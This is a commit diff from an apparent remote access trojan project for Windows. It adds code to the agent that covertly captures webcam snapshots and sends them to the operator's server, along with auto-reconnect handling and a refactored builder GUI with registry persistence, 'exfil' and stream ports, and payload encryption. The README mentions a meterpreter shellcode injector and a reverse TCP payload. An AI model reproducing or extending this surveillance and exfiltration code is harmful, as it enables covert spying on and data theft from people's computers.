Skip to content
This repository was archived by the owner on May 25, 2023. It is now read-only.

Commit 3357c80

Browse files
committed
Update 1.0.21
1 parent 2608040 commit 3357c80

File tree

88 files changed

+872
-457
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

88 files changed

+872
-457
lines changed

README.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,4 +61,14 @@ Server tested on:
6161
* Connection & Task Manager widgets will now highlight the entire row
6262
* Added meterpreter shellcode injector in the Task Manager
6363
* Added x64/Reverse TCP payload to injector
64-
* Added CMD Shell to Shells > System Shells
64+
* Added CMD Shell to Shells > System Shells
65+
66+
# Update 1.0.21
67+
* Re-organized code for GUI's
68+
* Re-structured some of the file hierarchy around the builder and the GUI's
69+
* Added webcam snapshot feature to surveillance
70+
* Re-Structured Surveillance menu.
71+
* Surveillance > Desktop > Screenshot
72+
* Surveillance > Webcam > Snapshot
73+
* Various code optimizations
74+
* Fixed issue with agent disconnecting when server shuts down during initial handshake

agent/agent.py renamed to agent/windows_10/agent.py

Lines changed: 39 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.2
13+
# Build: 1.0.21
1414
# -------------------------------------------------------------
1515

1616
import socket
@@ -21,6 +21,7 @@
2121
import subprocess
2222
import threading
2323
import struct
24+
import cv2
2425

2526
from PIL import ImageGrab
2627
from time import sleep
@@ -89,6 +90,15 @@ def extract_sys_ip_info(self):
8990
extracted_info = f'{sysinfo_output}\n{ip_config_output}' #Join the two variables
9091
return extracted_info #Return the output
9192

93+
#Returns bool based on webcam detection
94+
def check_for_webcam(self):
95+
webcam = cv2.VideoCapture(0) #Create webcam object for the first webcam that is found
96+
if not webcam.isOpened(): #If it can't be opened
97+
webcam.release() #Release the webcam
98+
return False #Return false
99+
webcam.release() #Else if the cam can be opened, release
100+
return True #return true
101+
92102
class SystemManager:
93103

94104
#Function will crash the computer with a blue screen
@@ -151,6 +161,7 @@ def __init__(self):
151161
self.disconnect = 'disconnect'
152162
self.process_manager = 'proc_list'
153163
self.term_process = 'terminate'
164+
self.snapshot = 'snap_shot'
154165

155166
#Function will connect to server to initiate handshake
156167
def connect_to_server(self):
@@ -246,6 +257,8 @@ def main(self):
246257
SystemManager().extract_process_list() #Send process's to server
247258
if action_flag == self.term_process: #if the action is to kill a process
248259
SystemManager().kill_task(server_command[1]) #kill the task by pid received from server
260+
if action_flag == self.snapshot: #if the action is to send a snapshot from the webcam
261+
StreamSocket().webcam_snapshot() #Send a webcam snapshot
249262

250263
#Function will retrieve all data sent by server socket
251264
def recv_all_data(self):
@@ -261,9 +274,13 @@ def recv_all_data(self):
261274
return bytes_data #Return the bytes data when the data received == the data sent
262275
else: #Else the initial data is all the data
263276
return data_size[1] #Return the encrypted data half of the array from the split
277+
264278
except ValueError: #If there is a value error, indicating the connection with the server was lost
265279
return self.connect_to_server() #connect back to the server
266280

281+
except ConnectionResetError: #If the server shuts down in the middle of the transfer
282+
return self.connect_to_server() #Connect back to it
283+
267284
#Funtion will get data from the server and return it as plaintext. If the server disconnects, the client will attempt
268285
#To connect back
269286
def receive_server_command(self):
@@ -307,6 +324,7 @@ def take_screenshot(self):
307324
#Function will take single or multiple screenshots depending on boolean parameter
308325
def stream_desktop(self,screenshot):
309326
StreamSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create socket
327+
StreamSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
310328
ip_address = socket.gethostbyname(ClientSocket().dns_address) #Resolve dns
311329
StreamSocket.connect((ip_address,STRM_PORT)) #connect to ip and streaming port
312330
if not screenshot: #If screenshot is false
@@ -320,6 +338,26 @@ def stream_desktop(self,screenshot):
320338
StreamSocket.sendall(image_data) #send struct
321339
StreamSocket.close() #close socket
322340

341+
#Function will send a snapshot of the webcam if one is present, else it will return a
342+
#message that prompts the server that it couldnt find it
343+
def webcam_snapshot(self):
344+
if not Utilitys().check_for_webcam(): #If the check function doesn't find a webcam
345+
ExfilSocket().exfil_socket_send('NoneFound') #Notify the server
346+
else: #else, the function returns true
347+
ExfilSocket().exfil_socket_send('Found') #Notify server to continue handling
348+
stream_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket
349+
stream_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Set sock opts
350+
ip_address = socket.gethostbyname(ClientSocket().dns_address) # Resolve dns
351+
stream_sock.connect((ip_address, STRM_PORT)) # connect to ip and streaming port
352+
web_cam = cv2.VideoCapture(0) #Create webcam object
353+
ret, img = web_cam.read() #Capture image from webcam
354+
cv2.imwrite(self.image_file_path,img) #Write image to file
355+
with open(self.image_file_path,'rb') as file: #Read the image
356+
data = file.read() #Capture the date
357+
file.close()
358+
stream_sock.sendall(struct.pack(">Q",len(data))) #the len of the data as a struct
359+
stream_sock.sendall(data) #Send the rest of the data
360+
stream_sock.close() #Close socket
323361

324362
class CodeExecution():
325363

core/Qt5/agent_builder_window.py renamed to core/Qt5/builder_guis/windows10/agent_builder_window.py

Lines changed: 90 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -10,13 +10,13 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.2
13+
# Build: 1.0.21
1414
# -------------------------------------------------------------
15-
from ..logging.logging import DNSconfigs,NetworkingConfigs
16-
from ..builder.agent_builder import Builder
17-
from ..utils.utils import ErrorHandling
18-
from ..networking.IP_Handler import NicHandler
19-
from ..Qt5.icons import IconObj
15+
from core.logging.logging import DNSconfigs,NetworkingConfigs
16+
from core.builder.windows10.agent_builder import Builder
17+
from core.utils.utils import ErrorHandling
18+
from core.networking.utils.IP_Handler import NicHandler
19+
from core.Qt5.icons import IconObj
2020

2121
from PyQt5 import QtCore, QtGui, QtWidgets
2222

@@ -58,126 +58,137 @@ def check_builder_options(self):
5858
host, self.file_name_input.text(),reg_key,perst_option,encryption_option) #
5959

6060
def setupUi(self, builder_dialog):
61+
"""
62+
Initialize UI parameters
63+
"""
6164
builder_dialog.setObjectName("builder_dialog")
6265
builder_dialog.resize(460, 479)
6366
builder_dialog.setStyleSheet("background-color: rgb(0, 0, 0);")
6467
builder_dialog.setWindowIcon(IconObj().builder_icon)
68+
"""
69+
Create widget objects
70+
"""
6571
self.networking_group_box = QtWidgets.QGroupBox(builder_dialog)
66-
self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101))
67-
font = QtGui.QFont()
68-
font.setFamily("Courier 10 Pitch")
69-
font.setPointSize(14)
70-
self.networking_group_box.setFont(font)
71-
self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);")
72-
self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter)
73-
self.networking_group_box.setObjectName("networking_group_box")
7472
self.host_combobox = QtWidgets.QComboBox(self.networking_group_box)
75-
self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27))
76-
self.host_combobox.setObjectName("host_combobox")
77-
for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file
78-
self.host_combobox.addItem(domain) #add domain to dropdown menu
79-
self.host_combobox.addItem('Local IP')
80-
self.host_combobox.addItem('Public IP')
8173
self.host_label = QtWidgets.QLabel(self.networking_group_box)
82-
self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21))
83-
font = QtGui.QFont()
84-
font.setPointSize(13)
85-
self.host_label.setFont(font)
86-
self.host_label.setObjectName("host_label")
8774
self.port_label = QtWidgets.QLabel(self.networking_group_box)
88-
self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19))
89-
font = QtGui.QFont()
90-
font.setPointSize(13)
91-
self.port_label.setFont(font)
92-
self.port_label.setObjectName("port_label")
9375
self.port_input = QtWidgets.QLineEdit(self.networking_group_box)
94-
self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31))
95-
self.port_input.setObjectName("port_input")
9676
self.obfuscation_groupbox = QtWidgets.QGroupBox(builder_dialog)
77+
self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox)
78+
self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog)
79+
self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
80+
self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
81+
self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
82+
self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog)
83+
self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
84+
self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
85+
self.label = QtWidgets.QLabel(self.socket_groupbox)
86+
self.label_2 = QtWidgets.QLabel(self.socket_groupbox)
87+
self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog)
88+
self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox)
89+
self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox)
90+
self.build_stub_button = QtWidgets.QPushButton(builder_dialog, clicked=lambda: self.check_builder_options())
91+
"""
92+
Set widget geometry
93+
"""
94+
self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101))
95+
self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27))
96+
self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21))
97+
self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19))
98+
self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31))
9799
self.obfuscation_groupbox.setGeometry(QtCore.QRect(10, 120, 441, 101))
100+
self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24))
101+
self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111))
102+
self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24))
103+
self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24))
104+
self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24))
105+
self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111))
106+
self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33))
107+
self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33))
108+
self.label.setGeometry(QtCore.QRect(20, 40, 67, 19))
109+
self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20))
110+
self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71))
111+
self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33))
112+
self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21))
113+
self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41))
114+
"""
115+
Set widget object name
116+
"""
117+
self.networking_group_box.setObjectName("networking_group_box")
118+
self.host_combobox.setObjectName("host_combobox")
119+
self.host_label.setObjectName("host_label")
120+
self.port_label.setObjectName("port_label")
121+
self.port_input.setObjectName("port_input")
122+
self.obfuscation_groupbox.setObjectName("obfuscation_groupbox")
123+
self.encryption_radio.setObjectName("encryption_radio")
124+
self.persistance_groupbox.setObjectName("compilation_groupbox")
125+
self.hkcu_radio.setObjectName("raw_script_radio")
126+
self.hklm_radio.setObjectName("pyinstaller_radio")
127+
self.none_radio.setObjectName('none_radio')
128+
self.socket_groupbox.setObjectName("socket_groupbox")
129+
self.exfil_port_input.setObjectName("exfil_port_input")
130+
self.stream_port_input.setObjectName("stream_port_input")
131+
self.label.setObjectName("label")
132+
self.label_2.setObjectName("label_2")
133+
self.file_settings_groupbox.setObjectName("file_settings_groupbox")
134+
self.file_name_input.setObjectName("file_name_input")
135+
self.file_name_label.setObjectName("file_name_label")
136+
self.build_stub_button.setObjectName("build_stub_button")
137+
"""
138+
Set font sizes and aligntments for widgets
139+
"""
98140
font = QtGui.QFont()
99141
font.setFamily("Courier 10 Pitch")
100142
font.setPointSize(14)
101143
self.obfuscation_groupbox.setFont(font)
102144
self.obfuscation_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
103145
self.obfuscation_groupbox.setAlignment(QtCore.Qt.AlignCenter)
104-
self.obfuscation_groupbox.setObjectName("obfuscation_groupbox")
105-
self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox)
106-
self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24))
107-
self.encryption_radio.setObjectName("encryption_radio")
108-
self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog)
109-
self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111))
110146
font = QtGui.QFont()
111147
font.setFamily("Courier 10 Pitch")
112148
font.setPointSize(14)
113149
self.persistance_groupbox.setFont(font)
114150
self.persistance_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
115151
self.persistance_groupbox.setAlignment(QtCore.Qt.AlignCenter)
116-
self.persistance_groupbox.setObjectName("compilation_groupbox")
117-
self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
118-
self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24))
119-
self.hkcu_radio.setObjectName("raw_script_radio")
120-
self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
121-
self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24))
122-
self.hklm_radio.setObjectName("pyinstaller_radio")
123-
self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
124-
self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24))
125-
self.none_radio.setObjectName('none_radio')
126-
self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog)
127-
self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111))
128152
font = QtGui.QFont()
129153
font.setFamily("Courier 10 Pitch")
130154
font.setPointSize(14)
131155
self.socket_groupbox.setFont(font)
132156
self.socket_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
133157
self.socket_groupbox.setAlignment(QtCore.Qt.AlignCenter)
134-
self.socket_groupbox.setObjectName("socket_groupbox")
135-
self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
136-
self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33))
137-
self.exfil_port_input.setObjectName("exfil_port_input")
138-
self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port())
139-
self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
140-
self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33))
141-
self.stream_port_input.setObjectName("stream_port_input")
142-
self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port())
143-
self.label = QtWidgets.QLabel(self.socket_groupbox)
144-
self.label.setGeometry(QtCore.QRect(20, 40, 67, 19))
145-
self.label.setObjectName("label")
146-
self.label_2 = QtWidgets.QLabel(self.socket_groupbox)
147-
self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20))
148-
self.label_2.setObjectName("label_2")
149-
self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog)
150-
self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71))
151158
font = QtGui.QFont()
152159
font.setFamily("Courier 10 Pitch")
153160
font.setPointSize(14)
154161
self.file_settings_groupbox.setFont(font)
155162
self.file_settings_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
156163
self.file_settings_groupbox.setAlignment(QtCore.Qt.AlignCenter)
157-
self.file_settings_groupbox.setObjectName("file_settings_groupbox")
158-
self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox)
159-
self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33))
160-
self.file_name_input.setObjectName("file_name_input")
161-
self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox)
162-
self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21))
163164
font = QtGui.QFont()
164165
font.setPointSize(12)
165166
self.file_name_label.setFont(font)
166-
self.file_name_label.setObjectName("file_name_label")
167-
self.build_stub_button = QtWidgets.QPushButton(builder_dialog,clicked=lambda: self.check_builder_options())
168-
self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41))
169167
font = QtGui.QFont()
170168
font.setFamily("Courier 10 Pitch")
171169
font.setPointSize(15)
172170
self.build_stub_button.setFont(font)
173-
self.build_stub_button.setObjectName("build_stub_button")
174-
171+
self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);")
172+
self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter)
173+
"""
174+
Add items to widgets
175+
"""
176+
for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file
177+
self.host_combobox.addItem(domain) #add domain to dropdown menu
178+
self.host_combobox.addItem('Local IP')
179+
self.host_combobox.addItem('Public IP')
180+
"""
181+
Set widget text and finish setting up UI
182+
"""
183+
self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port())
184+
self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port())
175185
self.retranslateUi(builder_dialog)
176186
QtCore.QMetaObject.connectSlotsByName(builder_dialog)
177187

188+
178189
def retranslateUi(self, builder_dialog):
179190
_translate = QtCore.QCoreApplication.translate
180-
builder_dialog.setWindowTitle(_translate("builder_dialog", "Agent Builder"))
191+
builder_dialog.setWindowTitle(_translate("builder_dialog", "Windows 10 Agent Builder"))
181192
self.networking_group_box.setTitle(_translate("builder_dialog", "Networking Settings"))
182193
self.host_label.setText(_translate("builder_dialog", " Host"))
183194
self.port_label.setText(_translate("builder_dialog", "Port"))

0 commit comments

Comments
 (0)